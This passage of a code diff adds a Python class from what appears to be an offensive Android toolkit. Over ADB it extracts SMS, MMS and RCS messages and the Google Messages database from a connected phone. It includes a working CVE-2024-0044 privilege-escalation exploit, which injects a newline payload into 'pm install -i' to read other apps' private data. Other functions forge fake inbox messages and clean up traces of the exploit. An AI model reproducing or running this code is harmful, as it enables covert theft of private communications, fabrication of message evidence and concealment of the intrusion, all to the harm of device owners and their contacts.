+ shizuku = self.check_shizuku_status()
+ # Check Archon
+ archon = self.check_archon_installed()
+ # Check CVE vulnerability
+ cve_status = self.check_cve_2024_0044()
+ return {
+ 'ok': True,
+ 'connected': True,
+ 'device': dev,
+ 'shizuku': shizuku,
+ 'archon': archon,
+ 'cve_2024_0044': cve_status,
+ 'exploit_active': self._cve_exploit_active,
+ 'monitor_running': self._monitor_running,
+ 'intercepted_count': len(self._intercepted),
+ 'forged_count': len(self._forged_log),
+ }
+
+ def check_shizuku_status(self) -> Dict[str, Any]:
+ # Check if Shizuku is installed
+ pm_output = self._shell('pm list packages moe.shizuku.privileged.api')
+ installed = 'moe.shizuku.privileged.api' in pm_output if not self._is_error(pm_output) else False
+ if not installed:
+ pm_output = self._shell('pm list packages rikka.shizuku')
+ installed = 'rikka.shizuku' in pm_output if not self._is_error(pm_output) else False
+ # Check if Shizuku service is running
+ running = False
+ if installed:
+ ps_out = self._shell('ps -A | grep shizuku')
+ running = bool(ps_out and not self._is_error(ps_out) and 'shizuku' in ps_out.lower())
+ return {'installed': installed, 'running': running, 'uid': 2000 if running else None}
+
+ def check_archon_installed(self) -> Dict[str, Any]:
+ pm_output = self._shell('pm list packages com.darkhal.archon')
+ installed = 'com.darkhal.archon' in pm_output if not self._is_error(pm_output) else False
+ result = {'installed': installed}
+ if installed:
+ # Check version
+ dump = self._shell('dumpsys package com.darkhal.archon | grep versionName')
+ if dump and not self._is_error(dump):
+ m = re.search(r'versionName=(\S+)', dump)
+ if m:
+ result['version'] = m.group(1)
+ # Check if Archon has messaging/RCS permissions
+ perms = self._shell('dumpsys package com.darkhal.archon | grep "android.permission.READ_SMS"')
+ result['has_sms_permission'] = 'granted=true' in perms if perms else False
+ perms2 = self._shell('dumpsys package com.darkhal.archon | grep "android.permission.READ_CONTACTS"')
+ result['has_contacts_permission'] = 'granted=true' in perms2 if perms2 else False
+ return result
+
+ def get_security_patch_level(self) -> Dict[str, Any]:
+ patch = self._shell('getprop ro.build.version.security_patch')
+ android_ver = self._shell('getprop ro.build.version.release')
+ sdk = self._shell('getprop ro.build.version.sdk')
+ result = {
+ 'security_patch': patch,
+ 'android_version': android_ver,
+ 'sdk_version': sdk,
+ }
+ # Check if CVE-2024-0044 is exploitable
+ try:
+ sdk_int = int(sdk)
+ if sdk_int in (31, 32, 33): # Android 12, 12L, 13
+ if patch and patch < '2024-10-01':
+ result['cve_2024_0044_vulnerable'] = True
+ else:
+ result['cve_2024_0044_vulnerable'] = False
+ else:
+ result['cve_2024_0044_vulnerable'] = False
+ except (ValueError, TypeError):
+ result['cve_2024_0044_vulnerable'] = False
+ return result
+
+ def get_default_sms_app(self) -> Dict[str, Any]:
+ app = self._shell('settings get secure sms_default_application')
+ if self._is_error(app):
+ return {'ok': False, 'error': app}
+ return {'ok': True, 'package': app}
+
+ def set_default_sms_app(self, package: str) -> Dict[str, Any]:
+ # Verify package exists
+ pm = self._shell(f'pm list packages {shlex.quote(package)}')
+ if package not in pm:
+ return {'ok': False, 'error': f'Package {package} not found'}
+ result = self._shell(f'settings put secure sms_default_application {shlex.quote(package)}')
+ if self._is_error(result) and result:
+ return {'ok': False, 'error': result}
+ return {'ok': True, 'message': f'Default SMS app set to {package}'}
+
+ # ══════════════════════════════════════════════════════════════════════
+ # §3 IMS/RCS DIAGNOSTICS
+ # ══════════════════════════════════════════════════════════════════════
+
+ def get_ims_status(self) -> Dict[str, Any]:
+ output = self._shell('dumpsys telephony_ims')
+ if self._is_error(output):
+ # Try alternate service name
+ output = self._shell('dumpsys telephony.registry')
+ if self._is_error(output):
+ return {'ok': False, 'error': 'Cannot query IMS status'}
+ lines = output.splitlines()
+ result = {'ok': True, 'raw': output[:5000]}
+ for line in lines:
+ line_l = line.strip().lower()
+ if 'registered' in line_l and 'ims' in line_l:
+ result['ims_registered'] = 'true' in line_l or 'yes' in line_l
+ if 'rcs' in line_l and ('enabled' in line_l or 'connected' in line_l):
+ result['rcs_enabled'] = True
+ if 'volte' in line_l and 'enabled' in line_l:
+ result['volte_enabled'] = True
+ return result
+
+ def get_carrier_config(self) -> Dict[str, Any]:
+ output = self._shell('dumpsys carrier_config')
+ if self._is_error(output):
+ return {'ok': False, 'error': output}
+ rcs_keys = {}
+ for line in output.splitlines():
+ line = line.strip()
+ if any(k in line.lower() for k in ['rcs', 'ims', 'uce', 'presence', 'single_registration']):
+ if '=' in line:
+ key, _, val = line.partition('=')
+ rcs_keys[key.strip()] = val.strip()
+ return {'ok': True, 'rcs_config': rcs_keys, 'raw_length': len(output)}
+
+ def get_rcs_registration_state(self) -> Dict[str, Any]:
+ # Check Google Messages RCS state via dumpsys
+ output = self._shell('dumpsys activity service com.google.android.apps.messaging')
+ rcs_state = 'unknown'
+ if output and not self._is_error(output):
+ for line in output.splitlines():
+ if 'rcs' in line.lower() and ('state' in line.lower() or 'connected' in line.lower()):
+ rcs_state = line.strip()
+ break
+ # Also try carrier_services
+ cs_output = self._shell('dumpsys activity service com.google.android.ims')
+ cs_state = 'unknown'
+ if cs_output and not self._is_error(cs_output):
+ for line in cs_output.splitlines():
+ if 'provisioned' in line.lower() or 'registered' in line.lower():
+ cs_state = line.strip()
+ break
+ return {
+ 'ok': True,
+ 'messages_rcs_state': rcs_state,
+ 'carrier_services_state': cs_state,
+ }
+
+ def enable_verbose_logging(self) -> Dict[str, Any]:
+ results = {}
+ # Set Phenotype flag for verbose bug reports (no root needed)
+ for name, flag in PHENOTYPE_FLAGS.items():
+ cmd = (
+ f'shell am broadcast '
+ f"-a 'com.google.android.gms.phenotype.FLAG_OVERRIDE' "
+ f'--es package "com.google.android.apps.messaging#com.google.android.apps.messaging" '
+ f'--es user "\\*" '
+ f'--esa flags "{flag}" '
+ f'--esa values "true" '
+ f'--esa types "boolean" '
+ f'com.google.android.gms'
+ )
+ out = self._run_adb(cmd)
+ results[name] = 'success' if 'Broadcast completed' in out else out
+ # Try setting log tags (may require root)
+ log_tags = ['Bugle', 'BugleDataModel', 'BugleRcs', 'BugleRcsEngine',
+ 'RcsProvisioning', 'CarrierServices', 'BugleTransport']
+ for tag in log_tags:
+ self._shell(f'setprop log.tag.{tag} VERBOSE')
+ results['log_tags'] = 'attempted (may require root)'
+ return {'ok': True, 'results': results}
+
+ def capture_rcs_logs(self, duration: int = 10) -> Dict[str, Any]:
+ # Clear logcat first
+ self._shell('logcat -c')
+ # Capture filtered logs
+ tags = 'Bugle:V BugleRcs:V RcsProvisioning:V CarrierServices:V BugleRcsEngine:V *:S'
+ output = self._run_adb(f'shell logcat -d -s {tags}', timeout=duration + 5)
+ if self._is_error(output):
+ return {'ok': False, 'error': output}
+ lines = output.splitlines()
+ return {'ok': True, 'lines': lines[:500], 'total_lines': len(lines)}
+
+ # ══════════════════════════════════════════════════════════════════════
+ # §4 CONTENT PROVIDER EXTRACTION (no root needed)
+ # ══════════════════════════════════════════════════════════════════════
+
+ def read_sms_database(self, limit: int = 200) -> List[Dict[str, Any]]:
+ rows = self._content_query(SMS_URI, projection=SMS_COLUMNS, limit=limit)
+ for row in rows:
+ if row.get('date'):
+ row['date_formatted'] = self._format_ts(row['date'])
+ row['protocol_name'] = 'SMS'
+ msg_type = int(row.get('type', 0))
+ row['direction'] = 'incoming' if msg_type == MSG_TYPE_INBOX else 'outgoing'
+ return rows
+
+ def read_sms_inbox(self, limit: int = 100) -> List[Dict[str, Any]]:
+ return self._content_query(SMS_INBOX_URI, projection=SMS_COLUMNS, limit=limit)
+
+ def read_sms_sent(self, limit: int = 100) -> List[Dict[str, Any]]:
+ return self._content_query(SMS_SENT_URI, projection=SMS_COLUMNS, limit=limit)
+
+ def read_mms_database(self, limit: int = 100) -> List[Dict[str, Any]]:
+ rows = self._content_query(MMS_URI, projection=MMS_COLUMNS, limit=limit)
+ # Enrich with parts (body text)
+ for row in rows:
+ mms_id = row.get('_id')
+ if mms_id:
+ parts = self._content_query(
+ f'content://mms/{mms_id}/part',
+ projection=MMS_PART_COLUMNS,
+ )
+ row['parts'] = parts
+ # Extract text body from parts
+ for p in parts:
+ if p.get('ct') == 'text/plain' and p.get('text'):
+ row['body'] = p['text']
+ break
+ if row.get('date'):
+ row['date_formatted'] = self._format_ts(int(row['date']) * 1000)
+ return rows
+
+ def read_conversations(self, limit: int = 100) -> List[Dict[str, Any]]:
+ rows = self._content_query(MMS_SMS_CONVERSATIONS_URI, limit=limit)
+ return rows
+
+ def read_draft_messages(self) -> List[Dict[str, Any]]:
+ return self._content_query(MMS_SMS_DRAFT_URI)
+
+ def read_undelivered_messages(self) -> List[Dict[str, Any]]:
+ return self._content_query(MMS_SMS_UNDELIVERED_URI)
+
+ def read_locked_messages(self) -> List[Dict[str, Any]]:
+ return self._content_query(MMS_SMS_LOCKED_URI)
+
+ def read_rcs_provider(self) -> Dict[str, Any]:
+ """Query the AOSP RCS content provider (content://rcs/)."""
+ results = {}
+ # Threads
+ threads = self._content_query(RCS_THREAD_URI)
+ results['threads'] = threads
+ results['thread_count'] = len(threads)
+ # P2P threads
+ p2p = self._content_query(RCS_P2P_THREAD_URI)
+ results['p2p_threads'] = p2p
+ # Group threads
+ groups = self._content_query(RCS_GROUP_THREAD_URI)
+ results['group_threads'] = groups
+ # Participants
+ participants = self._content_query(RCS_PARTICIPANT_URI)
+ results['participants'] = participants
+ results['ok'] = True
+ return results
+
+ def read_rcs_messages(self, thread_id: Optional[int] = None) -> List[Dict[str, Any]]:
+ """Read RCS messages from AOSP RCS provider."""
+ if thread_id:
+ uri = RCS_MESSAGE_URI_FMT.format(thread_id=thread_id)
+ else:
+ # Try querying all threads and getting messages from each
+ threads = self._content_query(RCS_THREAD_URI)
+ all_msgs = []
+ for t in threads:
+ tid = t.get('rcs_thread_id')
+ if tid:
+ msgs = self._content_query(
+ RCS_MESSAGE_URI_FMT.format(thread_id=tid)
+ )
+ for m in msgs:
+ m['thread_id'] = tid
+ all_msgs.extend(msgs)
+ return all_msgs
+ return self._content_query(uri)
+
+ def read_rcs_participants(self) -> List[Dict[str, Any]]:
+ return self._content_query(RCS_PARTICIPANT_URI)
+
+ def read_rcs_file_transfers(self, thread_id: int) -> List[Dict[str, Any]]:
+ uri = RCS_FILE_TRANSFER_URI_FMT.format(thread_id=thread_id)
+ return self._content_query(uri)
+
+ def get_thread_messages(self, thread_id: int, limit: int = 200) -> List[Dict[str, Any]]:
+ rows = self._content_query(
+ SMS_URI, projection=SMS_COLUMNS,
+ where=f'thread_id={thread_id}',
+ limit=limit,
+ )
+ for row in rows:
+ if row.get('date'):
+ row['date_formatted'] = self._format_ts(row['date'])
+ return rows
+
+ def get_messages_by_address(self, address: str, limit: int = 200) -> List[Dict[str, Any]]:
+ safe_addr = address.replace("'", "''")
+ rows = self._content_query(
+ SMS_URI, projection=SMS_COLUMNS,
+ where=f"address='{safe_addr}'",
+ limit=limit,
+ )
+ for row in rows:
+ if row.get('date'):
+ row['date_formatted'] = self._format_ts(row['date'])
+ return rows
+
+ def search_messages(self, keyword: str, limit: int = 100) -> List[Dict[str, Any]]:
+ safe_kw = keyword.replace("'", "''").replace('%', '\\%')
+ rows = self._content_query(
+ SMS_URI, projection=SMS_COLUMNS,
+ where=f"body LIKE '%{safe_kw}%'",
+ limit=limit,
+ )
+ for row in rows:
+ if row.get('date'):
+ row['date_formatted'] = self._format_ts(row['date'])
+ return rows
+
+ def enumerate_providers(self) -> Dict[str, Any]:
+ """Scan all known messaging content providers and report which are accessible."""
+ accessible = []
+ blocked = []
+ for uri in ALL_RCS_URIS:
+ out = self._run_adb(f'shell content query --uri {uri}', timeout=5)
+ if self._is_error(out) or 'Permission Denial' in out or 'SecurityException' in out:
+ blocked.append({'uri': uri, 'error': out[:200] if out else 'no response'})
+ elif 'No result found' in out:
+ accessible.append({'uri': uri, 'status': 'accessible', 'rows': 0})
+ else:
+ row_count = out.count('Row:')
+ accessible.append({'uri': uri, 'status': 'has_data', 'rows': row_count})
+ # Also check standard SMS/MMS
+ for uri_name, uri in [('SMS', SMS_URI), ('MMS', MMS_URI), ('Conversations', MMS_SMS_CONVERSATIONS_URI)]:
+ out = self._run_adb(f'shell content query --uri {uri}', timeout=5)
+ if not self._is_error(out) and 'Permission' not in out:
+ row_count = out.count('Row:')
+ accessible.append({'uri': uri, 'status': 'has_data', 'rows': row_count, 'name': uri_name})
+ return {
+ 'ok': True,
+ 'accessible': accessible,
+ 'blocked': blocked,
+ 'total_accessible': len(accessible),
+ 'total_blocked': len(blocked),
+ }
+
+ # ══════════════════════════════════════════════════════════════════════
+ # §5 BUGLE_DB DIRECT EXTRACTION
+ # ══════════════════════════════════════════════════════════════════════
+
+ def extract_bugle_db(self) -> Dict[str, Any]:
+ """Extract Google Messages bugle_db using best available method.
+
+ Messages are stored as PLAINTEXT in bugle_db — no decryption needed.
+ The WAL file (bugle_db-wal) may contain recent messages not yet
+ checkpointed to the main database, so we always capture it.
+ """
+ dev = self.get_connected_device()
+ if not dev.get('connected'):
+ return {'ok': False, 'error': 'No device connected'}
+
+ timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
+ extract_dir = self._extracted_dir / timestamp
+ extract_dir.mkdir(parents=True, exist_ok=True)
+
+ # Method 1: Try Archon app relay (if installed and has permissions)
+ archon = self.check_archon_installed()
+ if archon.get('installed') and archon.get('has_sms_permission'):
+ result = self._extract_via_archon(extract_dir)
+ if result.get('ok'):
+ return result
+
+ # Method 2: Try CVE-2024-0044 (if vulnerable)
+ cve = self.check_cve_2024_0044()
+ if cve.get('vulnerable'):
+ result = self._extract_via_cve(extract_dir)
+ if result.get('ok'):
+ return result
+
+ # Method 3: Try root direct pull
+ root_check = self._shell('id')
+ if 'uid=0' in root_check:
+ result = self._extract_via_root(extract_dir)
+ if result.get('ok'):
+ return result
+
+ # Method 4: Try adb backup
+ result = self._extract_via_adb_backup(extract_dir)
+ if result.get('ok'):
+ return result
+
+ # Method 5: Content provider fallback (SMS/MMS only, not full bugle_db)
+ return {
+ 'ok': False,
+ 'error': 'Cannot extract bugle_db directly. Available methods: '
+ '(1) Install Archon with SMS permission + Shizuku, '
+ '(2) Exploit CVE-2024-0044 on Android 12-13, '
+ '(3) Use root access, '
+ '(4) Use content provider queries for SMS/MMS only.',
+ 'fallback': 'content_providers',
+ }
+
+ def _extract_via_root(self, extract_dir: Path) -> Dict[str, Any]:
+ """Extract bugle_db via root access."""
+ for db_path in BUGLE_DB_PATHS:
+ check = self._shell(f'su -c "ls {db_path}" 2>/dev/null')
+ if not self._is_error(check) and 'No such file' not in check:
+ # Copy to accessible location
+ staging = '/data/local/tmp/autarch_extract'
+ self._shell(f'su -c "mkdir -p {staging}"')
+ for suffix in ['', '-wal', '-shm', '-journal']:
+ src = f'{db_path}{suffix}'
+ self._shell(f'su -c "cp {src} {staging}/ 2>/dev/null"')
+ self._shell(f'su -c "chmod 644 {staging}/{os.path.basename(src)}"')
+ # Pull files
+ files_pulled = []
+ for suffix in ['', '-wal', '-shm', '-journal']:
+ fname = f'bugle_db{suffix}'
+ local_path = str(extract_dir / fname)
+ pull = self._run_adb(f'pull {staging}/{fname} {local_path}')
+ if 'bytes' in pull.lower() or os.path.exists(local_path):
+ files_pulled.append(fname)
+ # Cleanup
+ self._shell(f'su -c "rm -rf {staging}"')
+ if files_pulled:
+ return {
+ 'ok': True, 'method': 'root',
+ 'files': files_pulled,
+ 'path': str(extract_dir),
+ 'message': f'Extracted {len(files_pulled)} files via root',
+ }
+ return {'ok': False, 'error': 'bugle_db not found via root'}
+
+ def _extract_via_archon(self, extract_dir: Path) -> Dict[str, Any]:
+ """Extract bugle_db via Archon app's Shizuku-elevated access."""
+ # Ask Archon to copy the database to external storage
+ broadcast = (
+ 'shell am broadcast -a com.darkhal.archon.EXTRACT_DB '
+ '--es target_package com.google.android.apps.messaging '
+ '--es database bugle_db '
+ '--es output_dir /sdcard/Download/autarch_extract '
+ 'com.darkhal.archon'
+ )
+ result = self._run_adb(broadcast)
+ if 'Broadcast completed' not in result:
+ return {'ok': False, 'error': 'Archon broadcast failed'}
+
+ # Wait for extraction to complete
+ time.sleep(3)
+
+ # Pull files
+ staging = '/sdcard/Download/autarch_extract'
+ files_pulled = []
+ for suffix in ['', '-wal', '-shm']:
+ fname = f'bugle_db{suffix}'
+ local_path = str(extract_dir / fname)
+ pull = self._run_adb(f'pull {staging}/{fname} {local_path}')
+ if 'bytes' in pull.lower() or os.path.exists(local_path):
+ files_pulled.append(fname)
+
+ # Cleanup staging
+ self._shell(f'rm -rf {staging}')
+
+ if files_pulled:
+ return {
+ 'ok': True, 'method': 'archon',
+ 'files': files_pulled, 'path': str(extract_dir),
+ 'message': f'Extracted {len(files_pulled)} files via Archon relay',
+ }
+ return {'ok': False, 'error': 'Archon extraction produced no files'}
+
+ def _extract_via_adb_backup(self, extract_dir: Path) -> Dict[str, Any]:
+ """Extract via adb backup (deprecated on Android 12+ but may work)."""
+ backup_file = str(extract_dir / 'messaging.ab')
+ # Try backing up Google Messages
+ result = self._run_adb(
+ f'backup -nocompress com.google.android.apps.messaging',
+ timeout=60,
+ )
+ # Also try telephony provider
+ result2 = self._run_adb(
+ f'backup -nocompress com.android.providers.telephony',
+ timeout=60,
+ )
+ # Check if backup file was created
+ if os.path.exists(backup_file) and os.path.getsize(backup_file) > 100:
+ return {
+ 'ok': True, 'method': 'adb_backup',
+ 'files': ['messaging.ab'], 'path': str(extract_dir),
+ 'message': 'ADB backup created (may require user confirmation on device)',
+ 'note': 'Use extract_ab_file() to parse the .ab backup',
+ }
+ return {'ok': False, 'error': 'ADB backup not supported or user denied on device'}
+
+ def query_bugle_db(self, sql: str) -> Dict[str, Any]:
+ """Run SQL query against a locally extracted bugle_db."""
+ # Find the most recent extraction
+ extractions = sorted(self._extracted_dir.iterdir(), reverse=True)
+ db_path = None
+ for ext_dir in extractions:
+ candidate = ext_dir / 'bugle_db'
+ if candidate.exists():
+ db_path = candidate
+ break
+ if not db_path:
+ return {'ok': False, 'error': 'No extracted bugle_db found. Run extract_bugle_db() first.'}
+ try:
+ conn = sqlite3.connect(str(db_path))
+ conn.row_factory = sqlite3.Row
+ cursor = conn.execute(sql)
+ rows = [dict(r) for r in cursor.fetchall()]
+ conn.close()
+ return {'ok': True, 'rows': rows, 'count': len(rows), 'db_path': str(db_path)}
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ def extract_rcs_from_bugle(self) -> Dict[str, Any]:
+ """Extract only RCS messages from bugle_db (message_protocol >= 2)."""
+ sql = """
+ SELECT m._id, m.conversation_id, m.sent_timestamp, m.received_timestamp,
+ m.message_protocol, m.message_status, m.read,
+ p.text AS body, p.content_type, p.uri AS attachment_uri,
+ c.name AS conversation_name, c.snippet_text,
+ ppl.normalized_destination AS phone_number,
+ ppl.full_name AS contact_name,
+ CASE WHEN ppl.sub_id = -2 THEN 'incoming' ELSE 'outgoing' END AS direction
+ FROM messages m
+ LEFT JOIN parts p ON m._id = p.message_id
+ LEFT JOIN conversations c ON m.conversation_id = c._id
+ LEFT JOIN conversation_participants cp ON cp.conversation_id = c._id
+ LEFT JOIN participants ppl ON cp.participant_id = ppl._id
+ WHERE m.message_protocol >= 2
+ ORDER BY m.sent_timestamp DESC
+ """
+ return self.query_bugle_db(sql)
+
+ def extract_conversations_from_bugle(self) -> Dict[str, Any]:
+ """Full conversation export from bugle_db with all participants."""
+ sql = """
+ SELECT c._id, c.name, c.snippet_text, c.sort_timestamp,
+ c.last_read_timestamp, c.participant_count, c.archive_status,
+ GROUP_CONCAT(ppl.normalized_destination, '; ') AS participants,
+ GROUP_CONCAT(ppl.full_name, '; ') AS participant_names
+ FROM conversations c
+ LEFT JOIN conversation_participants cp ON c._id = cp.conversation_id
+ LEFT JOIN participants ppl ON cp.participant_id = ppl._id
+ GROUP BY c._id
+ ORDER BY c.sort_timestamp DESC
+ """
+ return self.query_bugle_db(sql)
+
+ def extract_message_edits(self) -> Dict[str, Any]:
+ """Get RCS message edit history from bugle_db."""
+ sql = """
+ SELECT me.message_id, me.latest_message_id,
+ me.original_rcs_messages_id,
+ me.edited_at_timestamp_ms, me.received_at_timestamp_ms,
+ p.text AS current_text
+ FROM message_edits me
+ LEFT JOIN messages m ON me.latest_message_id = m._id
+ LEFT JOIN parts p ON m._id = p.message_id
+ ORDER BY me.edited_at_timestamp_ms DESC
+ """
+ return self.query_bugle_db(sql)
+
+ def extract_all_from_bugle(self) -> Dict[str, Any]:
+ """Complete extraction of all messages, conversations, and participants from bugle_db."""
+ result = {}
+ # Messages
+ sql_msgs = """
+ SELECT m._id, m.conversation_id, m.sent_timestamp, m.received_timestamp,
+ m.message_protocol, m.message_status, m.read, m.seen,
+ p.text AS body, p.content_type, p.uri AS attachment_uri,
+ CASE m.message_protocol
+ WHEN 0 THEN 'SMS' WHEN 1 THEN 'MMS' ELSE 'RCS'
+ END AS protocol_name
+ FROM messages m
+ LEFT JOIN parts p ON m._id = p.message_id
+ ORDER BY m.sent_timestamp DESC
+ """
+ msgs = self.query_bugle_db(sql_msgs)
+ result['messages'] = msgs.get('rows', []) if msgs.get('ok') else []
+
+ # Conversations
+ convos = self.extract_conversations_from_bugle()
+ result['conversations'] = convos.get('rows', []) if convos.get('ok') else []
+
+ # Participants
+ sql_parts = "SELECT * FROM participants ORDER BY _id"
+ parts = self.query_bugle_db(sql_parts)
+ result['participants'] = parts.get('rows', []) if parts.get('ok') else []
+
+ # Edits
+ edits = self.extract_message_edits()
+ result['edits'] = edits.get('rows', []) if edits.get('ok') else []
+
+ result['ok'] = True
+ result['total_messages'] = len(result['messages'])
+ result['total_conversations'] = len(result['conversations'])
+ result['total_participants'] = len(result['participants'])
+
+ # Save to file
+ export_path = self._exports_dir / f'bugle_full_export_{datetime.now().strftime("%Y%m%d_%H%M%S")}.json'
+ with open(export_path, 'w') as f:
+ json.dump(result, f, indent=2, default=str)
+ result['export_path'] = str(export_path)
+ return result
+
+ # ══════════════════════════════════════════════════════════════════════
+ # §6 CVE-2024-0044 EXPLOIT
+ # ══════════════════════════════════════════════════════════════════════
+
+ def check_cve_2024_0044(self) -> Dict[str, Any]:
+ """Check if device is vulnerable to CVE-2024-0044 (run-as privilege escalation)."""
+ patch_info = self.get_security_patch_level()
+ result = {
+ 'cve': 'CVE-2024-0044',
+ 'description': RCS_CVES['CVE-2024-0044']['desc'],
+ 'android_version': patch_info.get('android_version', 'unknown'),
+ 'security_patch': patch_info.get('security_patch', 'unknown'),
+ 'vulnerable': patch_info.get('cve_2024_0044_vulnerable', False),
+ }
+ if result['vulnerable']:
+ result['message'] = ('Device appears vulnerable. Android 12/13 with security patch '
+ f'before 2024-10-01 (current: {result["security_patch"]})')
+ else:
+ result['message'] = 'Device does not appear vulnerable to CVE-2024-0044'
+ return result
+
+ def exploit_cve_2024_0044(self, target_package: str = 'com.google.android.apps.messaging') -> Dict[str, Any]:
+ """Execute CVE-2024-0044 run-as privilege escalation.
+
+ This exploits a newline injection in PackageInstallerService to forge
+ a package entry, allowing run-as access to any app's private data.
+ Only works on Android 12-13 with security patch before October 2024.
+ """
+ # Verify vulnerability
+ cve = self.check_cve_2024_0044()
+ if not cve.get('vulnerable'):
+ return {'ok': False, 'error': 'Device not vulnerable to CVE-2024-0044', 'details': cve}
+
+ # Step 1: Get target app UID
+ uid_output = self._shell(f'pm list packages -U | grep {target_package}')
+ if self._is_error(uid_output) or target_package not in uid_output:
+ return {'ok': False, 'error': f'Package {target_package} not found'}
+
+ uid_match = re.search(r'uid:(\d+)', uid_output)
+ if not uid_match:
+ return {'ok': False, 'error': 'Could not determine target UID'}
+ target_uid = uid_match.group(1)
+
+ # Step 2: Create a minimal APK to push (we need any valid APK)
+ # Use an existing small APK from the device
+ apk_path = self._shell(f'pm path {target_package}')
+ if self._is_error(apk_path):
+ return {'ok': False, 'error': 'Cannot find target APK path'}
+ apk_path = apk_path.replace('package:', '').strip()
+
+ # Copy to writable location
+ self._shell('cp /system/app/BasicDreams/BasicDreams.apk /data/local/tmp/exploit_carrier.apk 2>/dev/null')
+ # Fallback: use any small system apk
+ if 'error' in self._shell('ls /data/local/tmp/exploit_carrier.apk').lower():
+ # Try another approach — use settings apk
+ self._shell('cp /system/priv-app/Settings/Settings.apk /data/local/tmp/exploit_carrier.apk 2>/dev/null')
+
+ # Step 3: Craft the injection payload
+ victim_name = f'autarch_victim_{int(time.time())}'
+ payload = (
+ f'@null\n'
+ f'{victim_name} {target_uid} 1 /data/user/0 '
+ f'default:targetSdkVersion=28 none 0 0 1 @null'
+ )
+
+ # Step 4: Install with injected payload
+ install_result = self._shell(
+ f'pm install -i "{payload}" /data/local/tmp/exploit_carrier.apk',
+ timeout=15,
+ )
+
+ # Step 5: Verify access
+ verify = self._shell(f'run-as {victim_name} id')
+ if f'uid={target_uid}' in verify or 'u0_a' in verify:
+ self._cve_exploit_active = True
+ self._exploit_victim_name = victim_name
+ return {
+ 'ok': True,
+ 'message': f'CVE-2024-0044 exploit successful. run-as {victim_name} has UID {target_uid}',
+ 'victim_name': victim_name,
+ 'target_uid': target_uid,
+ 'target_package': target_package,
+ 'verify': verify,
+ }
+ return {
+ 'ok': False,
+ 'error': 'Exploit attempt did not achieve expected UID',
+ 'install_result': install_result,
+ 'verify': verify,
+ }
+
+ def _extract_via_cve(self, extract_dir: Path) -> Dict[str, Any]:
+ """Extract bugle_db using CVE-2024-0044 exploit."""
+ if not self._cve_exploit_active:
+ exploit = self.exploit_cve_2024_0044()
+ if not exploit.get('ok'):
+ return exploit
+
+ victim = self._exploit_victim_name
+ staging = '/data/local/tmp/autarch_cve_extract'
+ self._shell(f'mkdir -p {staging}')
+ self._shell(f'chmod 777 {staging}')
+
+ # Use run-as to access and copy databases
+ for suffix in ['', '-wal', '-shm', '-journal']:
+ fname = f'bugle_db{suffix}'
+ for db_base in BUGLE_DB_PATHS:
+ src = f'{db_base}{suffix}'
+ self._shell(
+ f'run-as {victim} sh -c "cat {src}" > {staging}/{fname} 2>/dev/null'
+ )
+
+ # Pull extracted files
+ files_pulled = []
+ for suffix in ['', '-wal', '-shm', '-journal']:
+ fname = f'bugle_db{suffix}'
+ local_path = str(extract_dir / fname)
+ pull = self._run_adb(f'pull {staging}/{fname} {local_path}')
+ if os.path.exists(local_path) and os.path.getsize(local_path) > 0:
+ files_pulled.append(fname)
+
+ # Cleanup
+ self._shell(f'rm -rf {staging}')
+
+ if files_pulled:
+ return {
+ 'ok': True, 'method': 'cve-2024-0044',
+ 'files': files_pulled, 'path': str(extract_dir),
+ 'message': f'Extracted {len(files_pulled)} files via CVE-2024-0044',
+ }
+ return {'ok': False, 'error': 'CVE extract produced no files'}
+
+ def cleanup_cve_exploit(self) -> Dict[str, Any]:
+ """Remove traces of CVE-2024-0044 exploit."""
+ results = []
+ if self._exploit_victim_name:
+ # Uninstall the forged package
+ out = self._shell(f'pm uninstall {self._exploit_victim_name}')
+ results.append(f'Uninstall {self._exploit_victim_name}: {out}')
+ # Remove staging files
+ self._shell('rm -f /data/local/tmp/exploit_carrier.apk')
+ self._shell('rm -rf /data/local/tmp/autarch_cve_extract')
+ self._cve_exploit_active = False
+ self._exploit_victim_name = None
+ return {'ok': True, 'cleanup': results}
+
+ # ══════════════════════════════════════════════════════════════════════
+ # §7 MESSAGE FORGING
+ # ══════════════════════════════════════════════════════════════════════
+
+ def forge_sms(self, address: str, body: str, msg_type: int = MSG_TYPE_INBOX,
+ timestamp: Optional[int] = None, contact_name: Optional[str] = None,
+ read: int = 1) -> Dict[str, Any]:
+ if not address or not body:
+ return {'ok': False, 'error': 'Address and body are required'}
+ ts = timestamp or self._ts_ms()
+ bindings = {
+ 'address': address,
+ 'body': body,
+ 'type': msg_type,
+ 'date': ts,
+ 'date_sent': ts,
+ 'read': read,
+ 'seen': 1,
+ }
+ result = self._content_insert(SMS_URI, bindings)
+ if self._is_error(result):
+ return {'ok': False, 'error': result}
+ entry = {
+ 'address': address, 'body': body, 'type': msg_type,
+ 'timestamp': ts, 'contact_name': contact_name,
+ 'action': 'forge_sms', 'time': datetime.now().isoformat(),
+ }
+ self._forged_log.append(entry)
+ return {'ok': True, 'message': 'SMS forged successfully', 'details': entry}
+
+ def forge_mms(self, address: str, subject: str = '', body: str = '',
+ msg_box: int = MMS_BOX_INBOX, timestamp: Optional[int] = None) -> Dict[str, Any]:
+ if not address:
+ return {'ok': False, 'error': 'Address required'}
+ ts = timestamp or int(time.time())
+ bindings = {
+ 'msg_box': msg_box,
+ 'date': ts,
+ 'read': 1,
+ 'seen': 1,
+ }
+ if subject:
+ bindings['sub'] = subject
+ result = self._content_insert(MMS_URI, bindings)
+ if self._is_error(result):
+ return {'ok': False, 'error': result}
+ entry = {
+ 'address': address, 'subject': subject, 'body': body,
+ 'action': 'forge_mms', 'time': datetime.now().isoformat(),
+ }
+ self._forged_log.append(entry)
+ return {'ok': True, 'message': 'MMS forged', 'details': entry}
+
+ def forge_rcs(self, address: str, body: str, msg_type: int = MSG_TYPE_INBOX,
+ timestamp: Optional[int] = None) -> Dict[str, Any]:
+ """Forge an RCS message.
+
+ Attempts content://rcs/ provider first, falls back to Archon relay
+ for direct bugle_db insertion.
+ """
+ if not address or not body:
+ return {'ok': False, 'error': 'Address and body required'}
+ ts = timestamp or self._ts_ms()
+
+ # Try AOSP RCS provider
+ bindings = {
+ 'rcs_text': body,
+ 'origination_timestamp': ts,
+ }
+ result = self._content_insert(f'{RCS_P2P_THREAD_URI}/0/incoming_message', bindings)
+ if not self._is_error(result) and 'SecurityException' not in result:
+ entry = {
+ 'address': address, 'body': body, 'type': msg_type,
+ 'timestamp': ts, 'method': 'rcs_provider',
+ 'action': 'forge_rcs', 'time': datetime.now().isoformat(),
+ }
+ self._forged_log.append(entry)
